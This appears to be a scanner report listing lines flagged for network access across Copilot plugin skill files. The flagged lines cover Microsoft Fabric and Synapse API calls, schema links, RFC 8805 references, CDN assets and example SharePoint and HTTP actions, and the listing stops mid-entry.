    > For detailed setup instructions, see [Microsoft Docs: Managed Private Endpoints in Fabric](https://learn.microsoft.com/fabric/security/security-managed-private-endpoints-overview).
  • Network accessline 1109
    > For detailed OPDG installation and configuration, see [Microsoft Docs: On-premises data gateway](https://learn.microsoft.com/data-integration/gateway/service-gateway-install).

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/spark-item-migration.md

  • Network accessline 6
    > > **Auth tokens** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse data-plane audience: `https://dev.azuresynapse.net`
  • Network accessline 7
    > **Auth tokens** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse data-plane audience: `https://dev.azuresynapse.net` > - Fabric audience: `https://api.fabric.mi
  • Network accessline 8
    > - Synapse data-plane audience: `https://dev.azuresynapse.net`
  • Network accessline 9
    > - Fabric audience: `https://api.fabric.microsoft.com`
  • Network accessline 51
    GET https://{workspaceName}.dev.azuresynapse.net/notebooks?api-version=2020-12-01
  • Network accessline 213
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items
  • Network accessline 252
    GET https://{workspaceName}.dev.azuresynapse.net/sparkJobDefinitions?api-version=2020-12-01

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/spark-pool-migration.md

  • Network accessline 6
    > > **Auth tokens** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse ARM audience: `https://management.azure.com`
  • Network accessline 7
    > **Auth tokens** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse ARM audience: `https://management.azure.com` > - Fabric audience: `https://api.fabric.microsoft
  • Network accessline 8
    > - Synapse ARM audience: `https://management.azure.com`
  • Network accessline 9
    > - Fabric audience: `https://api.fabric.microsoft.com`
  • Network accessline 36
    GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/bigDataPools?api-version=2021-06-01
  • Network accessline 45
    GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/bigDataPools/{poolName}?api-version=2021-06-01
  • Network accessline 107
    **Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/environments`
  • Network accessline 250
    **Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/environments/{environmentId}/updateDefinition`
  • Network accessline 261
    def update_env_definition(workspace_id, env_id, definition_payload, headers, max_retries=3):     """Upload Environment definition with retry for post-creation race condition."""     url = (f"https://api.fabric.microsoft.com/v1/workspaces/{w
  • Network accessline 262
    """Upload Environment definition with retry for post-creation race condition."""     url = (f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}"            f"/environments/{env_id}/updateDefinition")
  • Network accessline 263
    url = (f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}"
  • Network accessline 264
    f"/environments/{env_id}/updateDefinition")     for attempt in range(1, max_retries + 1):         resp = requests.post(url, headers=headers, json=definition_payload)
  • Network accessline 265
    for attempt in range(1, max_retries + 1):         resp = requests.post(url, headers=headers, json=definition_payload)         if resp.status_code == 404 and attempt < max_retries:
  • Network accessline 266
    resp = requests.post(url, headers=headers, json=definition_payload)
  • Network accessline 307
    **Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/environments/{environmentId}/staging/publish`
  • Network accessline 313
    **Endpoint**: `GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/environments/{environmentId}`

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/utility-api-mapping.md

  • Network accessline 62
    [Credential-related source omitted]
  • Network accessline 63
    [Credential-related source omitted]
  • Network accessline 64
    "https://mykeyvault.vault.azure.net/",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/validation-testing.md

  • Network accessline 14
    > | Phase 3 (SJDs) | V4, V5, V6 | Do not cut over until SJDs pass and the full validation report is green | > > **Auth token**: Use the token-acquisition recipe in [COMMON-CLI § Authentication Recipes](../../../common/COMMON-CLI.md#authenti
  • Network accessline 16
    > **Auth token**: Use the token-acquisition recipe in [COMMON-CLI § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) with audience `https://api.fabric.microsoft.com`.
  • Network accessline 41
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/environments/{environmentId}
  • Network accessline 254
    **Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{notebookId}/jobs/instances?jobType=RunNotebook`
  • Network accessline 298
    **Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{sjdId}/jobs/instances?jobType=SparkJob`

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/variable-library-cli/references/authoring.md

  • Network accessline 5
    This reference covers the Variable Library item definition: definition parts, variable types, and create/update by definition. The active value set is item state, not definition, and lives in [operations.md](operations.md). It is grounded i
  • Network accessline 23
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",
  • Network accessline 24
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",
  • Network accessline 36
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 37
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 45
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 46
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 67
    Editing a variable's default `value` or a value set override is a definition edit. Selecting the active value set is workspace item state. Deployment intentionally does not overwrite the selected active value set in each stage, and deployme
  • Network accessline 82
    ConnectionReference is a newer advanced type documented in [Variable library connection reference](https://learn.microsoft.com/en-us/fabric/cicd/variable-harness/github-copilot/connection-reference-variable-type). That Learn article shows `
  • Network accessline 84
    In `variables.json`, a variable's default `value` uses its native JSON type (`true` for Boolean, `1000` for Integer). In `valueSets/*.json`, each `variableOverrides[].value` uses the **same native JSON type as the variable it overrides** (B
  • Network accessline 95
    parts = {     "variables.json": {         "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",
  • Network accessline 96
    "variables.json": {         "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",         "variables": [
  • Network accessline 97
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",
  • Network accessline 102
    },     "settings.json": {         "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 103
    "settings.json": {         "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",         "valueSetsOrder": ["dev", "prod"]
  • Network accessline 104
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 106
    },     "valueSets/dev.json": {         "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 107
    "valueSets/dev.json": {         "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",         "name": "dev",
  • Network accessline 108
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 112
    },     "valueSets/prod.json": {         "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 113
    "valueSets/prod.json": {         "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",         "name": "prod",
  • Network accessline 114
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 141
    az rest \   --method post \   --resource https://api.fabric.microsoft.com \
  • Network accessline 142
    --method post \   --resource https://api.fabric.microsoft.com \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 143
    --resource https://api.fabric.microsoft.com \
  • Network accessline 144
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 152
    az rest \   --method post \   --resource https://api.fabric.microsoft.com \
  • Network accessline 153
    --method post \   --resource https://api.fabric.microsoft.com \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$VL_ID/getDefinition" \
  • Network accessline 154
    --resource https://api.fabric.microsoft.com \
  • Network accessline 155
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$VL_ID/getDefinition" \
  • Network accessline 160
    az rest \   --method post \   --resource https://api.fabric.microsoft.com \
  • Network accessline 161
    --method post \   --resource https://api.fabric.microsoft.com \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$VL_ID/updateDefinition" \
  • Network accessline 162
    --resource https://api.fabric.microsoft.com \
  • Network accessline 163
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$VL_ID/updateDefinition" \

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/variable-library-cli/references/consumption.md

  • Network accessline 5
    This reference defines the Variable Library side of the consumer contract. It cites [Variable Library overview](https://learn.microsoft.com/en-us/fabric/cicd/variable-harness/github-copilot/variable-library-overview), [pipeline integration]
  • Network accessline 56
    The `SetVariable` activity writes to a pipeline variable, so that variable must exist. Per [Set Variable activity](https://learn.microsoft.com/en-us/fabric/data-factory/set-variable-activity), Set Variable operates on an **existing** pipeli
  • Network accessline 74
    > **Number is not supported in pipelines per Microsoft Learn** ([Variable library integration with pipelines](https://learn.microsoft.com/en-us/fabric/data-factory/variable-library-integration-with-data-pipelines#known-limitations)). The `N

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/variable-library-cli/references/operations.md

  • Network accessline 5
    This reference covers Variable Library specific CI/CD behavior. It cites [Variable Library CI/CD](https://learn.microsoft.com/en-us/fabric/cicd/variable-harness/github-copilot/variable-library-cicd), [Variable Library value sets](https://le
  • Network accessline 25
    az rest \   --method get \   --resource https://api.fabric.microsoft.com \
  • Network accessline 26
    --method get \   --resource https://api.fabric.microsoft.com \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/variableLibraries/$VL_ID" \
  • Network accessline 27
    --resource https://api.fabric.microsoft.com \
  • Network accessline 28
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/variableLibraries/$VL_ID" \
  • Network accessline 39
    az rest \   --method patch \   --resource https://api.fabric.microsoft.com \
  • Network accessline 40
    --method patch \   --resource https://api.fabric.microsoft.com \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/variableLibraries/$VL_ID" \
  • Network accessline 41
    --resource https://api.fabric.microsoft.com \
  • Network accessline 42
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/variableLibraries/$VL_ID" \
  • Network accessline 72
    - [fabric-cicd documentation](https://microsoft.github.io/fabric-cicd/)
  • Network accessline 73
    - [Lifecycle Management of the Microsoft Fabric Variable library](https://learn.microsoft.com/en-us/fabric/cicd/variable-harness/github-copilot/variable-library-cicd)

harness/github-copilot/plugins/fastah-ip-geo-tools/skills/geofeed-tuner/references/extended-guide.md

  • Network accessline 282
    "fastah-ip-geofeed": {       "type": "http",       "url": "https://mcp.fastah.ai/mcp"
  • Network accessline 283
    "type": "http",       "url": "https://mcp.fastah.ai/mcp"     }
  • Network accessline 284
    "url": "https://mcp.fastah.ai/mcp"
  • Network accessline 287
    - Server: `https://mcp.fastah.ai/mcp`

harness/github-copilot/plugins/fastah-ip-geo-tools/skills/geofeed-tuner/references/rfc8805.txt

  • Network accessline 49
    Information about the current status of this document, any errata,    and how to provide feedback on it may be obtained at    https://www.rfc-editor.org/info/rfc8805.
  • Network accessline 51
    https://www.rfc-editor.org/info/rfc8805.
  • Network accessline 58
    This document is subject to BCP 78 and the IETF Trust's Legal    Provisions Relating to IETF Documents    (https://trustee.ietf.org/license-info) in effect on the date of
  • Network accessline 59
    Provisions Relating to IETF Documents    (https://trustee.ietf.org/license-info) in effect on the date of    publication of this document.  Please review these documents
  • Network accessline 60
    (https://trustee.ietf.org/license-info) in effect on the date of
  • Network accessline 565
    [ISO.3166.1alpha2]               ISO, "ISO 3166-1 decoding table",               <http://www.iso.org/iso/home/standards/country_codes/iso-
  • Network accessline 566
    ISO, "ISO 3166-1 decoding table",               <http://www.iso.org/iso/home/standards/country_codes/iso-               3166-1_decoding_table.htm>.
  • Network accessline 567
    <http://www.iso.org/iso/home/standards/country_codes/iso-
  • Network accessline 570
    [ISO.3166.2]               ISO, "ISO 3166-2:2007",               <http://www.iso.org/iso/home/standards/
  • Network accessline 571
    ISO, "ISO 3166-2:2007",               <http://www.iso.org/iso/home/standards/               country_codes.htm#2012_iso3166-2>.
  • Network accessline 572
    <http://www.iso.org/iso/home/standards/
  • Network accessline 576
    Requirement Levels", BCP 14, RFC 2119,               DOI 10.17487/RFC2119, March 1997,               <https://www.rfc-editor.org/info/rfc2119>.
  • Network accessline 578
    <https://www.rfc-editor.org/info/rfc2119>.
  • Network accessline 580
    [RFC3629]  Yergeau, F., "UTF-8, a transformation format of ISO               10646", STD 63, RFC 3629, DOI 10.17487/RFC3629, November               2003, <https://www.rfc-editor.org/info/rfc3629>.
  • Network accessline 582
    2003, <https://www.rfc-editor.org/info/rfc3629>.
  • Network accessline 585
    Separated Values (CSV) Files", RFC 4180,               DOI 10.17487/RFC4180, October 2005,               <https://www.rfc-editor.org/info/rfc4180>.
  • Network accessline 587
    <https://www.rfc-editor.org/info/rfc4180>.
  • Network accessline 589
    [RFC4291]  Hinden, R. and S. Deering, "IP Version 6 Addressing               Architecture", RFC 4291, DOI 10.17487/RFC4291, February               2006, <https://www.rfc-editor.org/info/rfc4291>.
  • Network accessline 591
    2006, <https://www.rfc-editor.org/info/rfc4291>.
  • Network accessline 594
    (CIDR): The Internet Address Assignment and Aggregation               Plan", BCP 122, RFC 4632, DOI 10.17487/RFC4632, August               2006, <https://www.rfc-editor.org/info/rfc4632>.
  • Network accessline 596
    2006, <https://www.rfc-editor.org/info/rfc4632>.
  • Network accessline 599
    Address Text Representation", RFC 5952,               DOI 10.17487/RFC5952, August 2010,               <https://www.rfc-editor.org/info/rfc5952>.
  • Network accessline 601
    <https://www.rfc-editor.org/info/rfc5952>.
  • Network accessline 604
    Ed., "Hypertext Transfer Protocol (HTTP/1.1): Caching",               RFC 7234, DOI 10.17487/RFC7234, June 2014,               <https://www.rfc-editor.org/info/rfc7234>.
  • Network accessline 606
    <https://www.rfc-editor.org/info/rfc7234>.
  • Network accessline 608
    [RFC8174]  Leiba, B., "Ambiguity of Uppercase vs Lowercase in RFC               2119 Key Words", BCP 14, RFC 8174, DOI 10.17487/RFC8174,               May 2017, <https://www.rfc-editor.org/info/rfc8174>.
  • Network accessline 610
    May 2017, <https://www.rfc-editor.org/info/rfc8174>.
  • Network accessline 615
    Edition)", World Wide Web Consortium Recommendation REC-               xml-20081126, November 2008,               <http://www.w3.org/TR/2008/REC-xml-20081126>.
  • Network accessline 617
    <http://www.w3.org/TR/2008/REC-xml-20081126>.
  • Network accessline 621
    [GEOPRIV]  IETF, "Geographic Location/Privacy (geopriv)",               <http://datatracker.ietf.org/wg/geopriv/>.
  • Network accessline 622
    <http://datatracker.ietf.org/wg/geopriv/>.
  • Network accessline 624
    [GEO_Google]               Google, LLC, "Google Corp Geofeed",               <https://www.gstatic.com/geofeed/corp_external>.
  • Network accessline 626
    <https://www.gstatic.com/geofeed/corp_external>.
  • Network accessline 628
    [GEO_ICANN]               ICANN, "ICANN Meeting Geolocation Data",               <https://meeting-services.icann.org/geo/google.csv>.
  • Network accessline 630
    <https://meeting-services.icann.org/geo/google.csv>.
  • Network accessline 632
    [GEO_IETF] Kumari, W., "IETF Meeting Network Geolocation Data",               <https://noc.ietf.org/geo/google.csv>.
  • Network accessline 633
    <https://noc.ietf.org/geo/google.csv>.
  • Network accessline 635
    [GEO_RIPE_NCC]               Schepers, M., "RIPE NCC Meeting Geolocation Data",               <https://meetings.ripe.net/geo/google.csv>.
  • Network accessline 637
    <https://meetings.ripe.net/geo/google.csv>.
  • Network accessline 640
    Shields, M. and P. Moody, "Google's Python IP address               manipulation library",               <http://code.google.com/p/ipaddr-py/>.
  • Network accessline 642
    <http://code.google.com/p/ipaddr-py/>.
  • Network accessline 644
    [ISO-GLOSSARY]               ISO, "Glossary for ISO 3166",               <https://www.iso.org/glossary-for-iso-3166.html>.
  • Network accessline 646
    <https://www.iso.org/glossary-for-iso-3166.html>.
  • Network accessline 648
    [RFC2818]  Rescorla, E., "HTTP Over TLS", RFC 2818,               DOI 10.17487/RFC2818, May 2000,               <https://www.rfc-editor.org/info/rfc2818>.
  • Network accessline 650
    <https://www.rfc-editor.org/info/rfc2818>.
  • Network accessline 652
    [RFC3912]  Daigle, L., "WHOIS Protocol Specification", RFC 3912,               DOI 10.17487/RFC3912, September 2004,               <https://www.rfc-editor.org/info/rfc3912>.
  • Network accessline 654
    <https://www.rfc-editor.org/info/rfc3912>.
  • Network accessline 657
    Format for Presence Information Data Format Location               Object (PIDF-LO)", RFC 5139, DOI 10.17487/RFC5139,               February 2008, <https://www.rfc-editor.org/info/rfc5139>.
  • Network accessline 659
    February 2008, <https://www.rfc-editor.org/info/rfc5139>.
  • Network accessline 663
    A Document Format for Expressing Privacy Preferences for               Location Information", RFC 6772, DOI 10.17487/RFC6772,               January 2013, <https://www.rfc-editor.org/info/rfc6772>.
  • Network accessline 665
    January 2013, <https://www.rfc-editor.org/info/rfc6772>.
  • Network accessline 668
    Authorizing Use of Domains in Email, Version 1", RFC 7208,               DOI 10.17487/RFC7208, April 2014,               <https://www.rfc-editor.org/info/rfc7208>.
  • Network accessline 670
    <https://www.rfc-editor.org/info/rfc7208>.
  • Network accessline 673
    Interchange Format", STD 90, RFC 8259,               DOI 10.17487/RFC8259, December 2017,               <https://www.rfc-editor.org/info/rfc8259>.
  • Network accessline 675
    <https://www.rfc-editor.org/info/rfc8259>.

harness/github-copilot/plugins/fastah-ip-geo-tools/skills/geofeed-tuner/references/snippets-python3.md

  • Network accessline 3
    - Use Python 3's built-in [`ipaddress` package](https://docs.python.org/3/harness/github-copilot/ipaddress.html), with `strict=True` passed to constructors where available.
  • Network accessline 9
    - Use the [convenience factory functions in `ipaddress`](https://docs.python.org/3/harness/github-copilot/ipaddress.html#convenience-factory-functions).
  • Network accessline 30
    - Use the strict-form parser [`ipaddress.ip_network(address, strict=True)`](https://docs.python.org/3/harness/github-copilot/ipaddress.html#ipaddress.ip_network).

harness/github-copilot/plugins/fastah-ip-geo-tools/skills/geofeed-tuner/scripts/templates/index.html

  • Network accessline 5
    <meta name="viewport" content="width=device-width, initial-scale=1.0">     <title>Geofeed Tuner Report</title>     <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet">
  • Network accessline 6
    <title>Geofeed Tuner Report</title>     <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet">     <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.0/f
  • Network accessline 7
    <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet">
  • Network accessline 8
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.0/font/bootstrap-icons.css">
  • Network accessline 9
    <link rel="stylesheet" href="https://unpkg.com/leaflet@1.9.4/dist/leaflet.css" />
  • Network accessline 10
    <script src="https://unpkg.com/leaflet@1.9.4/dist/leaflet.js"></script>
  • Network accessline 11
    <script src="https://unpkg.com/h3-js@4.1.0/dist/h3-js.umd.js"></script>
  • Network accessline 1111
    * @type {string}          */         const API_ENDPOINT = 'https://mcp.fastah.ai/rest/geofeeds/place-search';
  • Network accessline 1113
    const API_ENDPOINT = 'https://mcp.fastah.ai/rest/geofeeds/place-search';
  • Network accessline 1128
    const batchRows = rows.slice(i * MAX_BATCH_SIZE, (i + 1) * MAX_BATCH_SIZE);                 try {                     const response = await fetch(API_ENDPOINT, {
  • Network accessline 1129
    try {                     const response = await fetch(API_ENDPOINT, {                         method: 'POST',
  • Network accessline 1130
    const response = await fetch(API_ENDPOINT, {
  • Network accessline 1411
    L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
  • Network accessline 2025
    zoom: 2                 });                 L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
  • Network accessline 2026
    });                 L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {                     attribution: '\u00a9 <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors',
  • Network accessline 2027
    L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
  • Network accessline 2028
    attribution: '\u00a9 <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors',

harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/SKILL.md

  • Network accessline 21
    - A FlowStudio MCP subscription and reachable server are required: https://mcp.flowstudio.app. Also preserve the subscription URL without sentence punctuation: https://mcp.flowstudio.app
  • Network accessline 22
    - Use the MCP endpoint `https://mcp.flowstudio.app/mcp` with a valid JWT in `MCP_TOKEN`; never commit `YOUR_JWT_TOKEN`.
  • Network accessline 31
    3. Resolve connections. Call `list_live_connections(environmentName=ENV)` before asking the user for anything. Keep only `statuses[0].status == "Connected"`, build `conn_map = {connectorName: id}`, and use `search="shared_sharepointonline"`
  • Network accessline 32
    4. Build `connection_references` and `host_templates`. `connectionReferences[connector].connectionName` holds the GUID from `list_live_connections`; each action's `inputs.host.connectionName` or `host.connectionName` uses the map key such a
  • Network accessline 33
    5. Construct the workflow definition with `$schema: "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#"`, `contentVersion: "1.0.0.0"`, `triggers`, `actions`, and optional `definition["
  • Network accessline 141
    - [FlowStudio MCP subscription](https://mcp.flowstudio.app)
  • Network accessline 142
    - [FlowStudio MCP endpoint](https://mcp.flowstudio.app/mcp)
  • Network accessline 143
    - [Logic Apps workflow definition schema](https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#)

harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/action-patterns-connectors.md

  • Network accessline 26
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 27
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList",
  • Network accessline 28
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 70
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 71
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList",
  • Network accessline 72
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 100
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 101
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList",
  • Network accessline 102
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 124
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 125
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList",
  • Network accessline 126
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 153
    "connectionName": "<connectionName>", "operationId": "CreateFile" },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 154
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "folderPath": "/My Library/Subfolder",
  • Network accessline 155
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 167
    "connectionName": "<connectionName>", "operationId": "GetFileMetadataByPath" },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 168
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "path": "/My Library/Subfolder/@{variables('filename')}"
  • Network accessline 169
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 179
    "connectionName": "<connectionName>", "operationId": "UpdateFile" },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 180
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "id": "@outputs('Get_File_Metadata_By_Path')?['body/{Identifier}']",
  • Network accessline 181
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 222
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 223
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "<list-guid>",
  • Network accessline 224
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 269
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/target-site",
  • Network accessline 270
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/target-site",       "parameters/method": "POST",
  • Network accessline 271
    "dataset": "https://mytenant.sharepoint.com/sites/target-site",
  • Network accessline 315
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 316
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "id": "%252fShared%2bDocuments%252fdata.json",
  • Network accessline 317
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",

harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/action-patterns-core.md

  • Network accessline 170
    "inputs": {         "method": "GET",         "uri": "https://api.example.com/customers/@{variables('customerId')}"
  • Network accessline 171
    "method": "GET",         "uri": "https://api.example.com/customers/@{variables('customerId')}"       }
  • Network accessline 172
    "uri": "https://api.example.com/customers/@{variables('customerId')}"
  • Network accessline 233
    "inputs": {         "method": "POST",         "uri": "https://api.example.com/contacts/@{item()?['Email']}"
  • Network accessline 234
    "method": "POST",         "uri": "https://api.example.com/contacts/@{item()?['Email']}"       }
  • Network accessline 235
    "uri": "https://api.example.com/contacts/@{item()?['Email']}"
  • Network accessline 364
    "Start_Job": {   "type": "Http",   "inputs": { "method": "POST", "uri": "https://api.example.com/jobs" }
  • Network accessline 365
    "type": "Http",   "inputs": { "method": "POST", "uri": "https://api.example.com/jobs" } },
  • Network accessline 366
    "inputs": { "method": "POST", "uri": "https://api.example.com/jobs" }
  • Network accessline 384
    "type": "Http",       "runAfter": { "Delay": ["Succeeded"] },       "inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" }
  • Network accessline 385
    "runAfter": { "Delay": ["Succeeded"] },       "inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" }     },
  • Network accessline 386
    "inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" }
  • Network accessline 435
    "type": "Http",   "runAfter": {},   "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" }
  • Network accessline 436
    "runAfter": {},   "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" } },
  • Network accessline 437
    "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" }
  • Network accessline 440
    "type": "Http",   "runAfter": { "HTTP_Get_Hi_Res": ["Failed"] },   "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" }
  • Network accessline 441
    "runAfter": { "HTTP_Get_Hi_Res": ["Failed"] },   "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" } }
  • Network accessline 442
    "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" }

harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/action-patterns-data.md

  • Network accessline 312
    "inputs": {     "method": "POST",     "uri": "https://api.example.com/endpoint",
  • Network accessline 313
    "method": "POST",     "uri": "https://api.example.com/endpoint",     "headers": {
  • Network accessline 314
    "uri": "https://api.example.com/endpoint",
  • Network accessline 342
    "inputs": {     "method": "GET",     "uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName",
  • Network accessline 343
    "method": "GET",     "uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName",     "headers": {
  • Network accessline 344
    "uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName",
  • Network accessline 349
    "authentication": {       "type": "ActiveDirectoryOAuth",       "authority": "https://login.microsoftonline.com",
  • Network accessline 350
    "type": "ActiveDirectoryOAuth",       "authority": "https://login.microsoftonline.com",       "tenant": "<tenant-id>",
  • Network accessline 351
    "authority": "https://login.microsoftonline.com",
  • Network accessline 352
